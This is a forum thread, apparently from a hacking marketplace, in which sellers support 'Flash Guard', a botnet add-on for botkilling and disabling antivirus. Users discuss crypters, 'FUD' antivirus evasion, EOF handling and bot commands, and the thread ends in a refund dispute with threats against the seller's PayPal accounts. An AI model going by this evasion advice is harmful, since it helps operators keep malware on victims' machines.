
(Sep 6, 2013 09:35 PM)Success! Wrote: [\[CITE\]](#) Just thought it would help with your sales if you listed what crypters work with it. It would give buyers more options and you would not need to keep replying to "Will it work with this" in your sales thread.

?

It possibly would, but the amount of time and work into testing crypters with these owners is quite enormous. Let alone, many crypter owners will not do free tests/crypts. I can't blame them for saying "no" either.

Rogerbob - September 7, 2013, 3:42 pm

Hey you should add the option to disconnect specific bots.

KFC Watermelon - September 7, 2013, 4:26 pm

(Sep 7, 2013 03:42 PM)TEDx Wrote: [\[CITE\]](#) Hey you should add the option to disconnect specific bots.

You mean a way to send a command to one bot only using the HTTP Bot/Commands?

DI?E - September 7, 2013, 5:48 pm

These guys know what the fuck they are doing. Flash Guard owns your mothers. ;)

Six Below - September 7, 2013, 9:11 pm

(Sep 7, 2013 05:48 PM)DemizE Wrote: [\[CITE\]](#) These guys know what the fuck they are doing. Flash Guard owns your mothers. ;)

Thanks for the "vouch" ?

Just responded to all Flash Guard related questions. Was away at work all day.

jontaon - September 8, 2013, 11:48 pm

Finally after done lot of tests I have applied to my all the connections. So far Its working great. Bot killer is amazing and I got fucked pcs with bunch of malware infected. After applied.. boom it was killed all the malware (startup). Great work @KFC,@SB. Will help to improve better than this. Cheers.

Six Below - September 9, 2013, 12:03 am

(Sep 8, 2013 11:48 PM)jontaon Wrote: [\[CITE\]](#) Finally after done lot of tests I have applied to my all the connections. So far Its working great. Bot killer is amazing and I got fucked pcs with bunch of malware infected. After applied.. boom it was killed all the malware (startup). Great work @KFC,@SB. Will help to improve better than this. Cheers.

Glad to hear this. I appreciate your feedback. It's very interesting using Flash Guard with RAT's that allow remote viewing. You can see the foreign malware being destroyed by the second! If you have any suggestions for future update please do not hesitate to post them in below in this thread.

On a side note, we may have a pretty significant update coming out for Flash Guard. Improving all around function including mainly its BK, Anti-BK, and AV-Killer functions. Stay-tuned. Thanks again.

KFC Watermelon - September 9, 2013, 2:33 pm

(Sep 8, 2013 11:48 PM)jontaon Wrote: [\[CITE\]](#) Finally after done lot of tests I have applied to my all the connections. So far Its working great. Bot killer is amazing and I got fucked pcs with bunch of malware infected. After applied.. boom it was killed all the malware (startup). Great work @KFC,@SB. Will help to improve better than this. Cheers.
Thank you for your kind words. I'm happy that you're happy :)

Six Below - September 9, 2013, 11:09 pm

Just responded to all Flash Guard related PM's will try and deal with the slew of Skype MSG's I have received while away.

Six Below`s Nemesis - September 11, 2013, 12:34 am

(Sep 9, 2013 11:09 PM)Six Below Wrote: [\[CITE\]](#) Just responded to all Flash Guard related PM's will try and deal with the slew of Skype MSG's I have received while away.

You have not replied to my PM about it not being possible to made Flash Guard FUD because its using EOF.

And also the http commands are not working. Plus the execution rate is very poor.

Can you fix this or issue me a refund please.

Six Below - September 11, 2013, 12:40 am

(Sep 11, 2013 12:34 AM)Success! Wrote: [\[CITE\]](#) You have not replied to my PM about it not being possible to made Flash Guard FUD because its using EOF.

And also the http commands are not working. Plus the execution rate is very poor.

Can you fix this or issue me a refund please.

I'm not 100% sure what you are asking, however me and "KFC Watermelon" yet again tested the EOF function today and were able to confirm it is working. What crypter are you using? Also the HTTP commands were testes extensively yet again today also, and confirmed working. As for the execution rate, I am guessing due to the mentioned issues above of course the execution rate will be horrid. If you cannot get the EOF working with your crypter please MSG the crypter owner and ask if the specific crypter supports EOF. Remember, do not add any extra features like start-up when crypting building the original stub, and crypting the file itself. As far as the refund goes, you have used this tool for what will be two weeks now am I correct? Please get back to me on the status of your crypter before we talk possible refunds. Thank you.

Six Below`s Nemesis - September 11, 2013, 12:44 am

(Sep 11, 2013 12:40 AM)Six Below Wrote: [\[CITE\]](#) I'm not 100% sure what you are asking, however me and "KFC Watermelon" yet again tested the EOF function today and were able to confirm it is working. What crypter are you using? Also the HTTP commands were testes extensively yet again today also, and confirmed working. As for the execution rate, I am guessing due to the mentioned issues above of course the execution rate will be horrid. If you cannot get the EOF working with your crypter please MSG the crypter owner and ask if the specific crypter supports EOF. Remember, do not add any extra features like start-up when crypting building the original stub, and crypting the file itself. As far as the refund goes, you have used this tool for what will be two weeks now am I correct? Please get back to me on the status of your crypter before we talk possible refunds. Thank you.

Its nothing to do with the cytper when i crypt flash guard its 100% FUD its when i run my 100% FUD flash guard bin in flash guards EOF script it is no longer FUD.

Six Below - September 11, 2013, 12:48 am

(Sep 11, 2013 12:44 AM)Success! Wrote: [\[CITE\]](#) Its nothing to do with the cytper when i crypt flash

guard its 100% FUD its when i run my 100% FUD flash guard bin in flash guards EOF script it is no longer FUD.

Please give me the name of the crypter, I will check with the owner myself. Please note a crypter can make a file FUD while still corrupting the stub. Just because the file is FUD does not mean it is working properly. Let me ask you, does the Flash Guarded bin work prior to crypting?

Please do not forget about getting me the name of the crypter you are using. I guess I will go against my previous statement and ask the crypter owner myself.

Six Below`s Nemesis - September 11, 2013, 1:30 am

Its Cube Crypter <https://hackforums.net/showthread.php?tid=2712235> KFC tested my crypter file and he said it works so its not the crypter its the EOF in Flash guard that makes the file get detected.

[RuN] - September 11, 2013, 1:43 am

(Sep 11, 2013 01:30 AM)Success! Wrote: [\[CITE\]](#) Its Cube Crypter <https://hackforums.net/showthread.php?tid=2712235> KFC tested my crypter file and he said it works so its not the crypter its the EOF in Flash guard that makes the file get detected.

Get a better crypter my flash bin is NOT runtime or scanti
e detected after crypting, also the http commands work perfectly and the flash bin is doing exactly what it should.

Six Below`s Nemesis - September 11, 2013, 1:45 am

(Sep 11, 2013 01:43 AM)ENGL1SH Wrote: [\[CITE\]](#) Get a better crypter my flash bin is NOT runtime or scanti

e detected after crypting, also the http commands work perfectly and the flash bin is doing exactly what it should.

You trying to telling me you have a FUD bin after its been run in FG EOF? ?

(Sep 11, 2013 12:40 AM)Six Below Wrote: [\[CITE\]](#) As far as the refund goes, you have used this tool for what will be two weeks now am I correct?

NO i have had the tool that i have not been able to use for 1 week waiting for it to be fixed! I told you about the issues it had the day after i got it but still 1 week later still no fix. Thats why im asking for a refund.

[RuN] - September 11, 2013, 3:34 am

(Sep 11, 2013 01:45 AM)Success! Wrote: [\[CITE\]](#) You trying to telling me you have a FUD bin after its been run in FG EOF? ?

My crypter supports EOF like any decent crypter should, so i don't need to use that option and its FUD scan/runtime

Six Below`s Nemesis - September 11, 2013, 4:06 am

(Sep 11, 2013 03:34 AM)ENGL1SH Wrote: [\[CITE\]](#) My crypter supports EOF like any decent crypter should, so i don't need to use that option and its FUD scan/runtime

So does [Cube Crypter](#) and its more than decent. But Avria will always detect EOF so whats the crypter you are using? that makes it FUD for both and FG still works 100% after.

MARVID - September 11, 2013, 4:20 am

(Sep 11, 2013 03:34 AM)ENGL1SH Wrote: [\[CITE\]](#) My crypter supports EOF like any decent crypter should, so i don't need to use that option and its FUD scan/runtime

Care to tell me your reason why any decent crypter should have EOF support? Like why? Only thing it does it brings its detections. ?

Six Below`s Nemesis - September 11, 2013, 4:48 am

(Sep 11, 2013 04:27 AM)ENGL1SH Wrote: [\[CITE\]](#) I am using Broad crypter from TOW

.
.

It may be a pain for some people But like i said its not a problem for a decent crypter and code

Lol Some people even offer services to remove eof from bots

<http://youtu.be/PecEaX2Oyul>

lol i will not be paying \$250 for a crypter just so i can use flash guard ?

[RuN] - September 11, 2013, 4:52 am

(Sep 11, 2013 04:48 AM)Success! Wrote: [\[CITE\]](#) lol i will not be paying \$250 for a crypter just so i can use flash guard ?

No one said you should but obviously your crypter is the problem working with flash guard

Six Below`s Nemesis - September 11, 2013, 4:59 am

(Sep 11, 2013 04:52 AM)ENGL1SH Wrote: [\[CITE\]](#) No one said you should but obviously your crypter is the problem working with flash guard

No the crypter is fine:

(Sep 6, 2013 01:20 PM)KFC Watermelon Wrote: [\[CITE\]](#) Found the issue and a very easy fix. Just use the built in Preserve EOF Tool. The crypted file will work perfectly afterwards. Enjoy.

I used it on the two files you sent me, and the crypted file worked perfectly afterwards.
But built in Preserve EOF makes FG detected. That`s my issue.

Sales Thread:

Any crypter that supports "Managed Files" should work fine.

[RuN] - September 11, 2013, 5:06 am

(Sep 11, 2013 04:59 AM)Success! Wrote: [\[CITE\]](#) No the crypter is fine:

But built in Preserve EOF makes FG detected. That`s my issue.

Sales Thread:

Any crypter that supports "Managed Files" should work fine.

I just tested the built in eof tool with a .NET crypter from here on hf
and its only detected by avira

how many detections do you have?

and a crypter that supports eof http://scan4you.net/result.php?id=3829a_6ss8fj

Six Below`s Nemesis - September 11, 2013, 5:09 am

(Sep 11, 2013 05:06 AM)ENGL1SH Wrote: [\[CITE\]](#) I just tested the built in eof tool with a .NET crypter from here on hf

and its only detected by avira

how many detections do you have?

Its detected by Avira but its one of the top 3 a/v used.

[RuN] - September 11, 2013, 5:12 am

(Sep 11, 2013 05:09 AM)Success! Wrote: [\[CITE\]](#) Its detected by Avira but its one of the top 3 a/v used.

and the crypted file works without using the EOF tool?

Six Below`s Nemesis - September 11, 2013, 5:16 am

no according to KFC it only works after using the EOF tool.

[RuN] - September 11, 2013, 5:19 am

(Sep 11, 2013 05:16 AM)Success! Wrote: [\[CITE\]](#) no according to KFC it only works after using the EOF tool.

You only need to use the eof tool if your crypter wont work with eof
if your crypter supports eof then you don't need to use that tool

Six Below`s Nemesis - September 11, 2013, 5:25 am

(Sep 11, 2013 05:19 AM)ENGL1SH Wrote: [\[CITE\]](#) You only need to use the eof tool if your crypter wont work with eof

if your crypter supports eof then you don't need to use that tool

The crypter supports EOF i sent him a 2nd crypted file with the EOF option on the crypter turned on and he said it did not work.

How much is broad crypt for .net files?

[RuN] - September 11, 2013, 5:32 am

(Sep 11, 2013 05:25 AM)Success! Wrote: [\[CITE\]](#) The crypter supports EOF i sent him a 2nd crypted file with the EOF option on the crypter turned on and he said it did not work.

Thats weird do you use any injection options on the crypter?

you got teamviewer i can test it for you in my vm

Six Below`s Nemesis - September 11, 2013, 5:39 am

(Sep 11, 2013 05:32 AM)ENGL1SH Wrote: [\[CITE\]](#) Thats weird do you use any injection options on the crypter?

you got teamviewer i can test it for you in my vm

No i only used RunPE "Itself" i don't have teamviewer on this laptop.

?

KFC Watermelon - September 11, 2013, 8:06 am

Success,

Please send me your crypted Flash Guard with EOF preserved. I want to figure this out.

The EOF written by Flash is very small and encrypted. But I want to experiment some.

Thank you

Six Below - September 11, 2013, 9:52 pm

""Success!"" were you able to send/communicate with "KFC Watermelon"?

Six Below`s Nemesis - September 12, 2013, 2:32 am

(Sep 11, 2013 09:52 PM)Six Below Wrote: [\[CITE\]](#) ""Success!"" were you able to send/communicate with "KFC Watermelon"?

Yes i dont think he read my PM fully.

Still no fix.

Six Below - September 12, 2013, 11:19 am

(Sep 12, 2013 02:32 AM)Success! Wrote: [\[CITE\]](#) Yes i dont think he read my PM fully.

Still no fix.

When did you send him the PM? Also did you include the name of the crypter you are using in the PM? Thanks.

SIM-1096442 - September 12, 2013, 12:06 pm

KFC is an awesome coder, would that work with your irc bot :?

Six Below - September 12, 2013, 12:10 pm

(Sep 12, 2013 12:06 PM)Lottex Wrote: [\[CITE\]](#) KFC is an awesome coder, would that work with your irc bot :?

No need. It is already coded into Flash IRC Bot.

KFC Watermelon - September 12, 2013, 12:50 pm

(Sep 12, 2013 12:06 PM)Lottex Wrote: [\[CITE\]](#) KFC is an awesome coder, would that work with your irc bot :?

Flash IRC Bot 1.5 has Flash Guard completely integrated and supports the following commands:

- .guard url filename
- .guard -find (Finds all guarded files)
- .guard -kill (Kills guarded file, requires user reboot)

SIM-1096442 - September 12, 2013, 1:06 pm

Ok, awesome. Thanks a lot for making that clear

Six Below - September 12, 2013, 4:39 pm

"KFC Watermelon" can we expect any exciting new features? Also did you get the deal worked out with ""Success!""?

Six Below`s Nemesis - September 13, 2013, 2:46 am

(Sep 12, 2013 04:39 PM)Six Below Wrote: [\[CITE\]](#) "KFC Watermelon" can we expect any exciting new features? Also did you get the deal worked out with ""Success!""?

You leave me bad rep lol because you cannot fix your tool!

I told him that EOF in FG makes the file get detected in avira and he said he would fix it over a week ago. So i waited. Seller then tried to pass it off so i told him if you cannot fix it send me a refund. Still no fix no refund so my very last option was to say i will need to do i charge back.

Thats was what he was waiting for me to say so i can its ALL my fault and refuse to fix the issue. He also leaves me bad rep and gets one of his little buddy who has had no dealing with me to do the same (Against HF Rules BTW) How childish.

So if you do buy this be sure you know what kind of people you are dealing with.

I will make a video of what im talking about with the EOF tool.

Six Below - September 13, 2013, 2:51 am

(Sep 13, 2013 02:46 AM)Success! Wrote: [\[CITE\]](#) You leave me bad rep lol because you cannot fix your tool!

I told him that EOF in FG makes the file get detected in avira and he said he would fix it over a week ago. So i waited. Seller then tried to pass it off so i told him if you cannot fix it send me a refund. Still no fix no refund so my very last option was to say i will need to do a charge back.

That's what he was waiting for me to say so i can take ALL my fault and refuse to fix the issue. He also leaves me bad rep and gets one of his little buddies who has had no dealing with me to do the same (Against HF Rules BTW) How childish.

So if you do buy this be sure you know what kind of people you are dealing with.

I will make a video of what i'm talking about with the EOF tool.

Please include the crypter you use which does not support "managed files", which is mentioned and needed to crypt a Flash Guarded file. I refuse to deal with people who threaten me and my PayPal validity over PM. I will be awaiting this video so I can see for myself the issues the crypter is causing. The support for you, until the past 24 hours has been beyond excellent. Spanning from a \$2 discount for your troubles due to your non-verified, foreign PayPal account during purchase, to the instant PM responses from both me and "KFC Watermelon". At this point it becomes a problem of the user's ignorance rather than the application itself. You are the only user if Flash Faction history, let alone Flash Guard history to complain about a product. I refuse to communicate any further with you after your disrespect over PM. In addition, I am awaiting that PayPal chargeback and account limitation you threatened me with. Goodbye.

Six Below's Nemesis - September 13, 2013, 2:54 am

(Sep 13, 2013 02:51 AM)Six Below Wrote: [\[CITE\]](#) Please include the crypter you use which does not support "managed files", which is mentioned and needed to crypt a Flash Guarded file. I refuse to deal with people who threaten me and my PayPal validity over PM. I will be awaiting this video so I can see for myself the issues the crypter is causing. The support for you, until the past 24 hours has been beyond excellent. Spanning from a \$2 discount for your troubles due to your non-verified PayPal account during purchase, to the instant PM responses from both me and "KFC Watermelon". At this point it becomes a problem of the user's ignorance rather than the application itself. You are the only user if Flash Faction history, let alone Flash Guard history to complain about a product. I refuse to communicate any further with you after your disrespect over PM. Bye.Six Below Wrote: Please include the crypter you use which does not support "managed files", which is mentioned and needed to crypt a Flash Guarded file. Do you know what .NET files are? .NET is a "Managed" file. If you read your thread you will see i name the crypter and that it supports .NET and EOF

But the crypter is NOT the issue the issue is your FG EOF tool it makes the crypted file get detected by avira.

Six Below Wrote:The support for you, until the past 24 hours has been beyond excellent. Spanning from a \$2 discount for your troubles\$2 discount? i paid in full but you ask me to resend it has sending it to a friend and i had to pay the fees for your protection.

Six Below Wrote:I refuse to deal with people who threaten me and my PayPal validity over PM.If you read the PM it will say if you cannot fix it refund me if you cannot fix and dont refund me what option do i have? You will see i said this is the very last option and i really dont want to. Keep in mind this is after 1 week on you giving me the run around.

But as for doing a dispute with paypal i'm not that silly i know paypal TOS inside out, I said it out of anger. But i could do it another way if i wanted to fuck your account but i'm not that childish.

Six Below Wrote:I will be awaiting this video so I can see for myself the issues the crypter is causing.How can i make a video if you have suspended my license? Is it because you know i'm right?

[img]http://s10.postimg.org/40j5bkrvd/Scammer.png[/img]

And not just me:

(Sep 11, 2013 05:06 AM)ENGL1SH Wrote: [\[CITE\]](#) I just tested the built in eof tool with a .NET crypter from here on hf and its only detected by avira

how many detections do you have?

and a crypter that supports eof http://scan4you.net/result.php?id=3829a_6ss8fi

And even the coder KFC acknowledges there`s a problem with the EOF tool in FG but you ban my license and you and your buddy bad rep me for trying to get it fixed! ? Its not like its a free tool i paid YOU for something that is not 100%. The coder needS to get a better sales/support team who know what they are talking about when it comes to FG.

Six Below - September 13, 2013, 4:10 am

(Sep 13, 2013 02:54 AM)Success! Wrote: [\[CITE\]](#) Do you know what .NET files are? .NET is a "Managed" file. If you read your thread you will see i name the crypter and that it supports .NET and EOF

But the crypter is NOT the issue the issue is your FG EOF tool it makes the crypted file get detected by avira.

\$2 discount? i paid in full but you ask me to resend it has sending it to a friend and i had to pay the fees for your protection.

If you read the PM it will say if you cannot fix it refund me if you cannot fix and dont refund me what option do i have? You will see i said this is the very last option and i really dont want to. Keep in mind this is after 1 week on you giving me the run around.

But as for doing a dispute with paypal im not that silly i know paypal TOS inside out, I said it out of anger. But i could do it another way if i wanted to fuck your account but im not that childish.

How can i make a video if you have suspended my license? Is it because you know im right?

[img]http://s10.postimg.org/40j5bkrvd/Scammer.png[/img]

And not just me:

And even the coder KFC acknowledges there`s a problem with the EOF tool in FG.

License access has been restored. Awaiting video. You have 24 hours from now. Your license will once again be locked in 24 hours. This time pertinently.

Quote:If you read the PM it will say if you cannot fix it refund me if you cannot fix and dont refund me what option do i have? You will see i said this is the very last option and i really dont want to. Keep in mind this is after 1 week on you giving me the run around.

But as for doing a dispute with paypal im not that silly i know paypal TOS inside out, I said it out of anger. But i could do it another way if i wanted to fuck your account but im not that childish.

You obviously do not have a clue on the inner working of PayPal. You having a non-verified, foreign account gives me the upper hand. You filing a claim is inevitable. Threatening to deface or as you so adult-like referred to it as "fuck your account", just proves you are in fact very childish.

Quote:http://scan4you.net/result.php?id=3829a_6ss8fi

Am I confused? You do realize the linked scan you are referring to/quoting is 0/35 FUD. Even at 1/35, that's not your issue. Your issue is the fact that the crypter you are using does not support managed files. Again, have you asked the crypter provider the question of if it supports managed

files?

Heading to bed now. "KFC Watermelon" and I will respond to any other question once awake. I expect the video to be up within 24 hours. If it is not, don't expect a license extension.

Six Below`s Nemesis - September 13, 2013, 4:18 am

(Sep 13, 2013 04:10 AM)Six Below Wrote: [\[CITE\]](#) License access has been restored. Awaiting video. You have 24 hours from now. Your license will once again be locked in 24 hours, this time pertinently.

What are you going to do once i have proven to you that once FG is run in the FG EOF tool that it becomes detected by Avira?

If you asked the coder KFC he will tell you that Avira will detect FG once if is run in FG EOF.

Six Below Wrote:You having a non-verified, foreign account gives me the upper hand.I think you will find i used a U.K verified account. But i would not open a dispute with paypal. If i want to be childish or you want to play games i would get your account flagged and limited then it would be suspended after a manual review.

See people this is the mentality i am dealing with here "You have 24 hours from now. Your license will once again be locked in 24 hours, this time pertinently."

I think your best keeping your mouth closed your only showing ppl the kind of person you are.

Six Below - September 13, 2013, 4:23 am

(Sep 13, 2013 04:18 AM)Success! Wrote: [\[CITE\]](#) What are you going to do once i have proven to you that once FG is run in the FG EOF tool that it becomes detected by Avira?

If you asked the coder KFC he will tell you that Avira will detect FG once if is run in FG EOF.

See people this is the mentality i am dealing with here "You have 24 hours from now. Your license will once again be locked in 24 hours, this time pertinently."

Please include your full crypting process in this video. Is a full day not enough time? If your video in fact shows it is 1/35 detected by Avira, an update will be sent out to all customers. However, according to that scan you keep referring to, I am a bit confused on where the problem stands.

Again, just to make myself clear. Include your full process in the video if you may. Every step, from stub creation to crypting the Flash Guarded stub. Just so everyone can get a full account for the process you are taking. Possibly even learn from your mistakes.

Again, have you asked the crypter provider the question of if it supports managed files? Which crypter is this anyways?

Prestigio - September 13, 2013, 4:31 am

Oberon Crypter Work with Flash Guard At 100% enjoy !!

Six Below`s Nemesis - September 13, 2013, 4:33 am

(Sep 13, 2013 04:23 AM)Six Below Wrote: [\[CITE\]](#) Please include your full crypting process in this video. Is a full day not enough time? If your video in fact shows it is 1/35 detected by Avira, an update will be sent out to all customers. However, according to that scan you keep referring to, I am a bit confused on where the problem stands.

Again, just to make myself clear. Include your full process in the video if you may. Every step, from

stub creation to crypting the Flash Guarded stub. Just so everyone can get a full account for the process you are taking. Possibly even learn from your mistakes.

Again, have you asked the crypter provider the question of if it supports managed files? Which crypter is this anyways?

You cannot be so dumb ??? did you read the posts i just posted on this thread about managed files? Did you know a .NET file = a "Managed" file? Well just in case you are y-e-s it supports managed files.

Six Below - September 13, 2013, 4:35 am

(Sep 13, 2013 04:33 AM)Success! Wrote: [\[CITE\]](#) You cannot be so dumb ??? did you read the posts i just posted on this thread about managed files? Did you know a .NET = a "Managed" file? Well just in case you are y-e-s it supports managed files.

How can you dance around this question anymore?!

Again, have you asked the crypter provider the question of if it supports managed files? Which crypter is this anyways?

I asked not if it did, but if you have gotten confirmation from the owner. You still have yet to answer me what crypter this is.

My mistake about the non-verified account. I was reading a different transaction. You do in fact have a verified foreign account.

Now I am heading to bed.

(Sep 13, 2013 04:31 AM)Neanderthal Wrote: [\[CITE\]](#) Oberon Crypter Work with Flash Guard At 100% enjoy !!

Thank you. Yes, we have tested extensively.

KFC Watermelon - September 13, 2013, 4:44 am

Success what crypter are you using again. I can assure you that it is your crypter. In fact, send me your unencrypted bin and I will send it back crypted with EOF.

Six Below`s Nemesis - September 13, 2013, 4:46 am

(Sep 13, 2013 04:35 AM)Six Below Wrote: [\[CITE\]](#) How can you dance around this question anymore?!

All you needed to do is read your thread.

(Sep 11, 2013 01:30 AM)Success! Wrote: [\[CITE\]](#) Its Cube Crypter
<https://hackforums.net/showthread.php?tid=2712235> KFC tested my crypter file and he said it works so its not the crypter its the EOF in Flash guard that makes the file get detected.

Six Below - September 13, 2013, 4:49 am

(Sep 13, 2013 04:46 AM)Success! Wrote: [\[CITE\]](#) All you needed to do is read your thread.

So the only issue is a temporary, 1/35 detection rate?

Don't forget about that video.

iguard - September 13, 2013, 5:16 am

So Success is saying that he builds his guard file (guard.exe) crypts it (crypted.exe) then needs to use the EOF tool in flash guard for the file to work (eof.exe).

crypted.exe is 0/35

eof.exe is 1/35

The eof data added after crypting is causing a detection from Avira

Six Below`s Nemesis - September 13, 2013, 5:17 am

(Sep 13, 2013 04:49 AM)Six Below Wrote: [\[CITE\]](#) So the only issue is a temporary, 1/35 detection rate?

Don't forget about that video.

Why are you telling people that i have done a charge back? and to bad rep me. Well damage is done you have taken this to a next level now.

If you want to say i have done something i may as well do it. lets go lol what you got for me bad rep? lol ok game on.

Keep your license kiss and goodbye to every paypal account you will ever own. This one the next and the next one after that i will be on to them all making sure they are suspended ?

Breaking paypal TOS is not a good idea.

I will be making it my mission to make sure you can never own a long term paypal account ?

Also check it out on deceptiveengineering soon :)

Six Below - September 13, 2013, 5:19 am

(Sep 13, 2013 05:16 AM)iguard Wrote: [\[CITE\]](#) So Success is saying that he builds his guard file (guard.exe) crypts it (crypted.exe) then needs to use the EOF tool in flash guard for the file to work (eof.exe).

crypted.exe is 0/35

eof.exe is 1/35

The eof data added after crypting is causing a detection from Avira

Yes, that is what I am finally getting at. I'm sure "KFC Watermelon" will release an update once he singles out the issue as mentioned before. The fact that ""Success!"" acted so childish, and disrespectful does not excuse him from the consequences mentioned by me prior.

(Sep 13, 2013 05:17 AM)Success! Wrote: [\[CITE\]](#) Why are you telling people that i have done a charge back? and to bad rep me. Well damage is done you have taken this to a next level now.

If you want to play games lets go lol what you got for me bad rep? lol ok game on.

Keep your license kiss and goodbye to every paypal account you will ever own. This one the next and the next one after that i will be on to them all making sure they are suspended ?

Breaking paypal TOS is not a good idea.

I will be making it my mission to make sure you can never take another payment via paypal ?

Sounds good man. I have done beyond enough to verify my account. From filing taxes under that account, to sending in location and picture proof. Do what you must. I don't tell people to -rep you. If you have been -repped by anyone but me that was there personal decision. Ever think it was your attitude that turned these people off? Should I revoke licenses access again, or allow you to create that "proof" video? Let me know.

Six Below`s Nemesis - September 13, 2013, 5:27 am

(Sep 13, 2013 05:19 AM)Six Below Wrote: [\[CITE\]](#) Yes, that is what I am finally getting at. I'm sure "KFC Watermelon" will release an update once he singles out the issue as mentioned before. The

fact that "Success!" acted so childish, and disrespectful does not excuse him from the consequences mentioned by me prior.

Sounds good man. I have done beyond enough to verify my account. From filing taxes under that account, to sending in location and picture proof. Do what you must. I don't tell people to -rep you. If you have been -repped by anyone but me that was there personal decision. Ever think it was your attitude that turned these people off? Should I revoke licenses access again, or allow you to create that "proof" video? Let me know.

Yes kill the license. Im sure it will still work after its cracked.

You are within paypals TOS i think not ?

Anyway Im done here im sure the coder will find a better sales team soon.

Six Below - September 13, 2013, 5:29 am

(Sep 13, 2013 05:27 AM)Success! Wrote: [\[CITE\]](#) Yes kill the license.

You are within paypals TOS i think not ?

Anyway Im done here im sure the coder will find a better sales team soon.

Yep, I'm sure he will stop working with me because of one loan ignorant buyer. That makes plenty of sense. Yet again you didn't answer my question... Are you still making this "proof" video? Or should I once again revoke access?

Six Below`s Nemesis - September 13, 2013, 5:32 am

(Sep 13, 2013 05:29 AM)Six Below Wrote: [\[CITE\]](#) Yep, I'm sure he will stop working with me because of one loan ignorant buyer. That makes plenty of sense. Yet again you didn't answer my question... Are you still making this "proof" video? Or should I once again revoke access?

How you going to work with with him without a paypal account.

Revoke it.

I have nothing to prove try asking the coder.

Six Below - September 13, 2013, 5:37 am

(Sep 13, 2013 05:32 AM)Success! Wrote: [\[CITE\]](#) How you going to work with with him without a paypal account.

Revoke it.

I have nothing to prove try asking the coder.

I still have my account. I am beyond confident that my PayPal is going nowhere anytime soon. If I had 5 cents for every-time someone threatened my PayPal validity I would have enough to start another successful product line. PM me when you get my PayPal limited. Not sure you will be able to post on this thread much longer.

KFC Watermelon - September 13, 2013, 6:04 am

All this drama because of a single AV detection? And I offered to help you and even give you a FUD bin? Serious?

SIM-1096442 - September 13, 2013, 7:09 am

(Sep 13, 2013 05:54 AM)Success! Wrote: [\[CITE\]](#) Really OK you have no idea LOL, If you only knew. You may have your account but for how long? You will never have a long term account with

paypal. Is 3 month long?

May GOD curse you and your people.

Done.

You should get warning for these posts threatening just because of one detection

Six Below - September 13, 2013, 7:32 am

(Sep 13, 2013 05:54 AM)Success! Wrote: [\[CITE\]](#) Really OK you have no idea LOL, If you only knew.

You may have your account but for how long? You will never have a long term account with paypal. Is 3 month long?

May GOD curse you and your people.

Done.

Try the tune of 2 plus years. I have gone so far as to open a dedicated businesses checking account at my local banking provider for the soul purpose of connecting that to my PayPal business account.

Quote:May GOD curse you and your people.

All this over a 1/35 detection rate... I would like to say this would all be avoidable if you treated me with some respect. Well, anyways, I guess you won't be posting here much anymore.

KFC Watermelon - September 13, 2013, 8:39 am

(Sep 13, 2013 05:54 AM)Success! Wrote: [\[CITE\]](#) May GOD curse you and your people.

For a 1/35 detection? After I offered to give you a FUD bin? Are you joking?

Six Below - September 13, 2013, 8:56 am

(Sep 13, 2013 08:39 AM)KFC Watermelon Wrote: [\[CITE\]](#) For a 1/35 detection? After I offered to give you a FUD bin? Are you joking?

"KFC Watermelon" it's not worth your time. If you were/are able to see our initial PM conversations paired with his banter on this thread, you should understand he is a minute problem in the scheme of things.

skilshotz - September 16, 2013, 1:22 pm

Which version of .NET framework does Flash Guard uses to run the builder ?

[RuN] - September 17, 2013, 4:29 am

This works great HAVE NOT lost a single bot since i purchased,
Love the AV killer.. fuck you Malwarebytes

keviniscool - October 14, 2013, 1:10 am

love the fast support and I no longer have to worry about getting botkilled.

ASDA - November 4, 2013, 12:30 am

Sorry for the b um p, but is this dead I would like to purchase this?

Six Below - November 4, 2013, 12:37 am

(Nov 4, 2013 01:30 AM)ASDA Wrote: [\[CITE\]](#) Sorry for the b um p, but is this dead I would like to purchase this?

Working on rejuvenating the project. As of this moment I am not accepting orders, but leaving this thread open due to the fact that I will soon be working with KFC again on this project hopefully. Stay tuned!

imposter johnson - November 20, 2013, 5:23 pm

(Nov 4, 2013 01:37 AM)Six Below Wrote: [\[CITE\]](#) Working on rejuvenating the project. As of this moment I am not accepting orders, but leaving this thread open due to the fact that I will soon be working with KFC again on this project hopefully. Stay tuned!

YAY! Awesome! Thank you! You and KFC are great. I want to express how grateful I am, that you guys are reviving this. Otherwise crypters are useless.

V.V.V.V.V - November 21, 2013, 9:48 am

I need this :D cant wait until it opens again :) ! Thank you

BrajTomte™ - November 22, 2013, 9:56 am

Can it disable Kaspersky Internet Security?

Btw Looks like a awesome botkiller, GLWS

Fizure - November 25, 2013, 6:37 am

So that means is not available anymore if can anyone point me to another botkill thanks